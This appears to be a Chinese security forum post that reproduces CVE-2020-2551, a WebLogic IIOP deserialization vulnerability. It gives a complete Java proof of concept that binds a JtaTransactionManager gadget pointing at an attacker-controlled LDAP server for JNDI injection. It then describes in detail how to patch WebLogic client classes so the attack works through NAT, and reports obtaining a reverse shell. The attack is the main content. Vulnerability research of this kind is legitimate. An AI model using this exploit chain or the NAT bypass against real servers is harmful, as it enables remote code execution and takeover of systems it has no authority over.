前言

在复现Weblogic中的CVE过程中,针对IIOP协议的利用,有一个经典的CVE是CVE-2020-2551,在进行这个POC的构造过程中,发现我使用vmware虚拟机下使用docker搭建的weblogic服务

直接使用下面的POC

public class CVE_2020_2551 {
    public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
                                              final Class<?> ... ifaces) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
    public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
    }
    public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[0] = iface;
        if (ifaces.length > 0) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces , ih));
    }
    public static Map<String,Object> createMap(final String key, final Object val) {
        final Map<String,Object> map = new HashMap<String, Object>();
        map.put(key,val);
        return map;
    }
    public static void main(String[] args) throws Exception {
        String ip = "192.168.153.136";
        String port = "7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
        Context context = new InitialContext(env);
        // get Object to Deserialize
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("ldap://192.168.153.1:1389/5l7wz0");
        Remote remote = createMemoitizedProxy(createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("hello", remote);
    }
}

将会出现错误,报错了?

连接被拒绝

之后跟了一下逻辑

原因

我们根据报错的调用栈,可以定位在weblogic.iiop.EndPointImpl#send方法中

发送的是LocateRequest

该方法的调用是在sendReceive方法中

在发送了request请求之后,使用getReply方法处理response回复

调用栈为

send:1129, EndPointImpl (weblogic.iiop)
sendReceive:1168, EndPointImpl (weblogic.iiop)
sendReceive:1186, EndPointImpl (weblogic.iiop)
locateNameService:204, IORManager (weblogic.iiop)
createInitialReference:123, IORManager (weblogic.iiop)
string_to_object:341, ORB (weblogic.corba.orb)
resolve_initial_references:235, ORB (weblogic.corba.orb)
getORBReferenceWithRetry:588, ORBHelper (weblogic.corba.j2ee.naming)
getORBReference:559, ORBHelper (weblogic.corba.j2ee.naming)
getInitialContext:85, InitialContextFactoryImpl (weblogic.corba.j2ee.naming)
getInitialContext:33, iiopEnvironmentFactory (weblogic.factories.iiop)
getInitialContext:71, iiopEnvironmentFactory (weblogic.factories.iiop)
getContext:315, Environment (weblogic.jndi)
getContext:285, Environment (weblogic.jndi)
getInitialContext:117, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
main:43, CVE_2020_2551 (pers.weblogic)

IORManager#locateNameService方法中

在创建了一个LocateRequestMessage对象之后传入了sendReceive方法中进行发送LocateRequest对象,而在sendReceive中,返回的是var1.getReply

返回得到的是一个LocateReplyMessage对象,在locateNameService方法中调用needsForwarding返回了一个IOR对象

在其中的iopProfile属性中,得到的host / port分别为0.0.0.0 / 7001,这里0.0.0.0代表的是自己本机的地址,本机是没有开启weblogic服务的,这里就是导致使用虚拟机docker是不能直接利用的原因

之后就是调用resolveObject方法进行后续处理

改造

其中在上面提到的getReply方法的调用过程中,返回的是SequencedRequestMessage类的reply属性值

如果我们能够控制这里返回的reply属性的值,修改其中的host为带有weblogic服务的地址,就能够利用成功

在全局搜索reply之后,只有在notify方法中才有对应的赋值

我们在该方法位置打下断点之后调用栈为:

notify:25, SequencedRequestMessage (weblogic.iiop)
handleLocateReply:1056, EndPointImpl (weblogic.iiop)
processMessage:535, EndPointImpl (weblogic.iiop)
handleMessage:500, EndPointImpl (weblogic.iiop)
dispatch:324, EndPointImpl (weblogic.iiop)
dispatch:126, ConnectionManager (weblogic.iiop)
dispatch:298, MuxableSocketIIOP (weblogic.iiop)
dispatch:298, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:913, SocketMuxer (weblogic.socket)
readReadySocket:842, SocketMuxer (weblogic.socket)
processSockets:335, JavaSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:21, ExecuteRequestAdapter (weblogic.work)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

在这里为reply属性赋值的LocateReplyMessage对象的ior属性对象中的ioProfile属性中的host是0.0.0.0

根据前面的分析,我们知道我们需要将这个host指向带有weblogic服务的ip地址

所以我们向前追溯LocateReplyMessage类对象的实现

通过在调用栈中寻找,其出处是在weblogic.iiop.EndPointImpl#dispatch方法中得到的

通过调用createMsgFromStream方法得到LocateReplyMessage对象之后调用handleMessage方法处理该消息

跟进createMsgFromStream方法

根据消息的消息头进入不同的case子句,这里为case 4

创建了一个LocateReplyMessage对象,传入的参数分别是消息头和输入流对象

调用了read方法对数据进行解析

使用了IOR继续进行解析

最后调用的是Profile#read方法对数据进行处理

创建了一个ConnectionKey对象,其构造方法调用对应的read方法进行数据处理,在调用ConnectionKey#read方法对数据进行处理

获取到了对应的ip和对应的port

之后再在Profile#read方法中,调用var4.getAddress / var4.getPort方法获取ip / port

改造1

这里的var4变量没有什么特别的用处,只是获取了Address / Port数据,我们如果能够手动修改this.host为搭建有weblogic服务的address,就能够成功进行利用

所以我们需要重写IOPProfile类中的read方法

直接在项目文件下面创建一个weblogic.iiop的包,下面带有IOPProfile

其中的read方法

改造之后获取到的IOPProfile对象为

现在指向了正确的ip和port

本地搭建一个JNDI注入工具服务,监听本机的8000端口

运行前面提到的POC

成功反弹shell,使用这种方式是能够绕过NAT的

改造2

类似的上面的处理是在IOPProfile#read方法中

最初使用的是ConnectionKey对象的getAddress方法获取的ip地址,所以追其来源,是在ConnectionKey#read方法中获取数据中得到的,我们可以直接在这个位置进行处理

修改后的read方法为

值得注意的是这里是不能够直接进行赋值的,需要首先获取到0.0.0.0的ip地址之后进行覆盖操作

这种方法同样能够成功反弹shell

前面使用直接覆盖host属性的方式,强制更改ip地址来达到我们的目的,但是有个弊端就是每次需要手动修改一下对应的ip,在学习其他的绕过方式的过程中,发现了有一个师傅和我之前思考的方向一致,贴个链接

https://xz.aliyun.com/t/7498

不得不说师傅们太强了

绕过

覆盖ConnectionKey对象

这种绕过方式主要是在参考一中的评论中,fnmsd师傅提出的一种覆盖ConnectionKey的方式达到自动修改host地址的目的

学习一下

使用wireshark抓包,观察一下请求流程

其中第六步就是接收LocateReply对象的步骤

在数据包中包含了需要请求的服务

这时候的输入流就是第6步中的传送的数据

所以我们能够从该数据中获取到远程的ip地址进行替换这里的0.0.0.0

所以重写IOPProfile#read方法为:

直接覆盖了ConnectionKey对象

修改后的ip地址成功替换

也能够反弹shell

覆盖IOPProfile对象

产生在NAT网络下不能使用POC的最直接原因就是因为产生了0.0.0.0导致不能连接成功

代码中体现在了EndPointManager#createEndPoint方法中进行了一次Socket通信

可以看看此时的调用栈为

createEndPoint:464, EndPointManager (weblogic.iiop)
findOrCreateEndPoint:239, EndPointManager (weblogic.iiop)
findOrCreateEndPoint:256, EndPointManager (weblogic.iiop)
locateIORForRequest:383, IIOPRemoteRef (weblogic.iiop)
getInvocationIOR:535, RemoteDelegateImpl (weblogic.corba.idl)
request:256, RemoteDelegateImpl (weblogic.corba.idl)
_request:449, ObjectImpl (org.omg.CORBA.portable)
bind_any:18, _NamingContextAnyStub (weblogic.corba.cos.naming)
bind:189, ContextImpl (weblogic.corba.j2ee.naming)
bind:151, ContextImpl (weblogic.corba.j2ee.naming)
bind:425, InitialContext (javax.naming)
main:48, CVE_2020_2551 (pers.weblogic)

大概分析一下流程

前面都是bind方法的调用过程,可以跟踪到RemoteDelegateImpl#request方法中

这里调用getInvocationIOR方法获取对应的IOR对象,跟进一下

最开始的currentIOR属性为null,进入了else语句,调用IIOPRemoteRef.locateIORForRequest方法通过从请求中加载IOR对象为currentIOR属性赋值

这里通过调用EndPointManager.findOrCreateEndPoint方法,从传入的IOR对象中寻找或者创建一个EndPoint对象

可以跟进到findOrCreateEndPoint方法的调用

首次调用这里不存在友EndPoint对象,所以进入else语句中使用createEndPoint方法创建一个EndPoint

该方法中首先获取了取得的IOR对象的IOPProfile对象类

之后获取该对象中的Host / Port中的数据,传入了MuxableSocketIIOP.createConnection方法中,创建一个连接

如果我们能够修改IOR对象中的iopProfile属性中的host / port数据,指向正确的地址,就能够进行利用

r4v3zn师傅的思路中

  1. ContextImpl#bind方法的调用中,记录下远程ip地址和端口

  2. 之后在locateIORForRequest方法的调用中,修改传入的IOR对象中的host数据

但是在我进行跟进分析中

在创建连接中,仅仅是使用了IOR对象中的IOPProfile对象中的Host和Port进行连接

其中getHostAddress方法

返回的是IOPProfile对象的canonicalHost属性,而不是host属性?

这里canonicalHost属性是一个InetAddress对象,但是我们并不需要创建一个该对象之后进行反射修改,因为调试发现,首次调用getHostAddress方法过程中,会进入if语句中,通过host属性进行创建InetAddress

所以我们不需要进行师傅展示中创建对象的操作,我们直接使用反射赋值,将所有的0.0.0.0替换为正确的ip地址,也就能够达到我们的目的了

能够成功反弹shell

参考

https://xz.aliyun.com/t/7498

https://www.r4v3zn.com/posts/144eb4b6/
https://www.r4v3zn.com/posts/b64d9185/

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖